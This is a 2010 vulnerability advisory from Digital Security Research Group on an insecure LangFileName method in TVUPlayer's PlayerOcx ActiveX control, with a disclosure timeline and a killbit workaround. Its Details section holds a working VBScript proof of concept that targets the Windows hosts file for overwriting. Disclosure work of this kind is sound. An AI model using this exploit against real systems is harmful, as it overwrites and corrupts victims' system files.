[DSECRG-09-065] TuvNetworks TVUPlayer ActiveX component - Insecure method TVUPlayer contains ActiveX component PlayerOcx which contains insecure method that can overwrite any unhidden file in the system. Application: TVUPlayer Versions Affected: Tested on v2.4.9beta1[build1797] Vendor URL: www.tvunetworks.com Bugs: insecure method, File owervriting Exploits: YES Reported: 25.11.2009 Second report 11.01.2010 Vendor response: none Date of Public Advisory: 03.02.2010 CVE-number: Author: Evdokimov Dmitriy Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com) Details ******* An attacker can construct html-page which calls the LangFileName vulnerable function from ActiveX component PlayerOcx Example1: <?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:18E6ED0D-08D1-4ED5-8771-E72B4E6EFFD8' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.133 - http://labs.idefense.com 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\Program Files\Online TV Player 4\PlayerOcx.ocx" prototype = "Property Let LangFileName As String" memberName = "LangFileName" progid = "PlayerOcx.FormPlayer" argCount = 1 arg1="C:\WINDOWS\system32\drivers\etc\hosts" target.LangFileName = arg1 </script></job></package> Fix Information *************** There is no official fix from the vendor because they did not give any response to our letters sent twice. As alternative - a user can set killbit on this component. References ********** http://dsecrg.com/pages/vul/show.php?id=165 About ***** Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsecrg [dot] com http://www.dsecrg.com